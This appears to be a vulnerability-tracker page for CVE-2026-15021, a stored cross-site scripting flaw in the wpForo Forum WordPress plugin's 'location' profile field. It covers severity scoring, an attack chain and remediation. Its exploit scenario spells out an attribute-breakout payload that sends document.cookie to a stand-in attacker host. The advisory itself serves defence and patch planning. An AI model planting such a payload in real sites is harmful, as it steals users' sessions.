Skip to main content

wpForo Forum CVE-2026-15021

| EUVDEUVD-2026-44899 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-16 Wordfence GHSA-76cp-m73j-f6wq
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Register subscriber account on target WordPress site
  2. Delivery
    Set location profile field to attribute-breakout XSS payload
  3. Exploit
    Server stores unsanitized payload in database
  4. Execution
    Admin or user navigates to attacker profile page
  5. Persist
    Browser renders unencoded double quotes and executes injected event handler
  6. Impact
    Steal session token or perform privileged action as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold at minimum a subscriber-level WordPress account on the target site - unauthenticated exploitation is not possible (CVSS PR:L). The vulnerable input vector is specifically the 'location' profile field in the wpForo Forum user profile form; exploitation is not possible through other profile fields unless separately confirmed vulnerable. A victim user (attacker-independent) must subsequently visit or load a page rendering the attacker's profile for the stored payload to execute in the victim's browser session. On WordPress sites with open user registration enabled (a common default), the subscriber-account prerequisite represents a low real-world barrier. Exploitation is limited to wpForo Forum installations on versions 3.1.1 and below; the CWE-79 mechanism does not require any non-default WordPress or server configuration beyond having the plugin active.

Impact

The CVSS 6.4 Medium score reflects meaningful but bounded risk. The key enabling signal is S:C (scope change), confirming the exploit transcends the submitting user's session and can affect administrators - raising the effective business impact above the base score might suggest. PR:L constrains exploitation to registered (subscriber-level) users, which on sites with open registration may represent a very low barrier. The provided CVSS vector specifies UI:N, which is atypical for stored XSS: exploitation requires a victim to view the injected page, suggesting the NVD or reporter vector should carry UI:R - this discrepancy should be verified with Wordfence or the WordPress plugin team, as UI:N would be unusual for this attack class. No EPSS score was provided in the intelligence package; without it, probability-of-exploitation cannot be quantified. There is no CISA KEV listing and no explicit POC reference, so active exploitation is not confirmed. The WordPress plugin ecosystem's scale (millions of sites) makes medium-severity authenticated XSS in a popular forum plugin a realistic, if not urgent, patching priority, particularly for sites with open user registration.

Exploit ScenarioDerived

An attacker registers a free subscriber account on a WordPress site running wpForo Forum 3.1.1 or earlier, then sets the 'location' profile field to a crafted payload such as " onclick="fetch('https://attacker.example/steal?c='+document.cookie) - this breaks out of the href attribute and injects a JavaScript event handler. When an administrator or any other authenticated user subsequently views the attacker's forum profile, the injected script executes in their browser session, potentially exfiltrating session cookies or performing actions under the victim's identity. No public POC has been identified, but the attack technique (attribute breakout via unencoded double quotes) is well-documented and trivially reproducible by anyone familiar with basic XSS.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 16, 2026

Stored Cross-Site Scripting in the wpForo Forum WordPress plugin (all versions through 3.1.1) allows authenticated attackers with subscriber-level access to permanently inject malicious JavaScript via the 'location' profile field. The root failure is WordPress's native sanitize_text_field() function, which strips tags but leaves double quotes unencoded, enabling attribute breakout from an href context into injected event-handler attributes. With a CVSS scope change (S:C), successful exploitation can impact sessions of any user - including administrators - who views a poisoned profile page, enabling session hijacking or privilege escalation. No public exploit or CISA KEV listing has been identified at time of analysis.

RemediationAI

A code-level fix is referenced by the WordPress plugin trac changeset at https://plugins.trac.wordpress.org/changeset?reponame=&old=3603849%40wpforo&new=3603849%40wpforo; however, the exact patched release version is not confirmed from the available intelligence data - site administrators should update wpForo Forum to the latest version available in the WordPress Plugin Directory and verify the installed version exceeds 3.1.1. The remediation must switch from sanitize_text_field() to proper HTML attribute encoding (e.g., esc_attr() in WordPress) on output of the location field in Forms.php (lines ~1035, ~1074) and Members.php (line ~1031). As a compensating control while patching is pending, administrators can restrict new user registrations to prevent unauthenticated individuals from obtaining subscriber accounts, or limit access to profile editing for subscriber-level users via role management plugins. The trade-off of restricting registration is that it disables forum onboarding; limiting profile editing may break intended forum functionality. Full details are at https://www.wordfence.com/threat-intel/vulnerabilities/id/2cd364c5-c053-4c50-8232-bb47ab8e834b.

Affected VersionsENISA

wpForo Forum 0 ≤3.1.1

Affected Packages

euvd wpforo_forum no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

wpForo Forum (CPE: cpe:2.3:a:tomdever:wpforo_forum) is a WordPress plugin providing community forum functionality. The vulnerability resides in the 'location' profile field, processed in Forms.php (lines 1035, 1074) and Members.php (line 1031) as confirmed by the WordPress plugin trac source references for both the 3.0.5 and 3.1.1 tags. CWE-79 (Improper Neutralization of Input During Web Page Generation) describes the root class: user-supplied input is stored and later rendered in an HTML attribute context without proper output encoding. The specific failure is reliance on WordPress's sanitize_text_field() at input time, which strips HTML tags and encodes some characters but does NOT encode double quotes. An attacker can supply a payload such as [space]" onclick="payload that terminates the href attribute value and injects an event-handler attribute, which the browser executes when a user interacts with or simply loads the rendered element. Because the injected script runs in the victim's browser session, the effective scope extends beyond the submitting user to any viewer of that profile page.

Know when Wpforo Forum gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Stored XSS requires victim to load the injected page (UI:R); subscriber auth required (PR:L); scope change confirmed as payload executes in other users' sessions (S:C).

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The wpForo Forum plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'location' Profile Field in all versions up to, and including, 3.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The sanitize_text_field() function applied at input does not encode double quotes, allowing attribute breakout via a payload that escapes the href attribute context and injects event handler attributes.

Threat Intelligence Overview

EPSS Score
0.2%
Top 89% exploitable
Prevalence
Medium
popular WordPress forum plugin, substantial but not universal install base
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-2249 HIGH
8.8 Jun 09

The wpForo Forum plugin for WordPress is vulnerable to Local File Include, Server-Side Request Forgery, and PHAR Deseria

CVE-2026-80513 HIGH POC
7.5 Sep 24

PHP object injection in the wpForo Forum WordPress plugin before 3.1.6 lets an authenticated attacker with Subscriber-le

CVE-2024-3200 CRITICAL
9.9 Jun 01

The wpForo Forum plugin for WordPress is vulnerable to SQL Injection via the 'slug' attribute of the 'wpforo' shortcode

CVE-2023-2309 MEDIUM POC
6.1 Jul 24

The wpForo Forum WordPress plugin before 2.1.9 does not escape some request parameters while in debug mode, leading to a

CVE-2021-24406 MEDIUM POC
6.1 Jul 06

The wpForo Forum WordPress plugin before 1.9.7 did not validate the redirect_to parameter in the login form of the forum

CVE-2018-11709 MEDIUM POC
6.1 Jun 04

wpforo_get_request_uri in wpf-includes/functions.php in the wpForo Forum plugin before 1.4.12 for WordPress allows Unaut

CVE-2026-49767 CRITICAL
9.8 Jun 17

Authentication bypass in the wpForo Forum WordPress plugin versions 3.1.0 and earlier allows remote unauthenticated atta

CVE-2026-49769 CRITICAL POC
9.8 Jun 15

Unauthenticated PHP Object Injection in the wpForo Forum WordPress plugin versions 3.1.0 and earlier allows remote attac

CVE-2026-12696 MEDIUM POC
5.4 Aug 01

Stored cross-site scripting in wpForo Forum WordPress plugin before 3.1.2 allows a subscriber-level authenticated user t

CVE-2026-12697 MEDIUM POC
5.4 Jul 31

Insecure Direct Object Reference (IDOR) in the wpForo Forum WordPress plugin before 3.1.2 allows any subscriber-level au

CVE-2026-40798 CRITICAL
9.3 Jun 15

Unauthenticated SQL injection in the wpForo Forum WordPress plugin (versions 3.0.4 and earlier) allows remote attackers

CVE-2026-80514 MEDIUM POC
5.3 Sep 25

Rate-limit bypass in the wpForo Forum WordPress plugin (3.0.0 up to but not including 3.1.6) allows unauthenticated remo

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy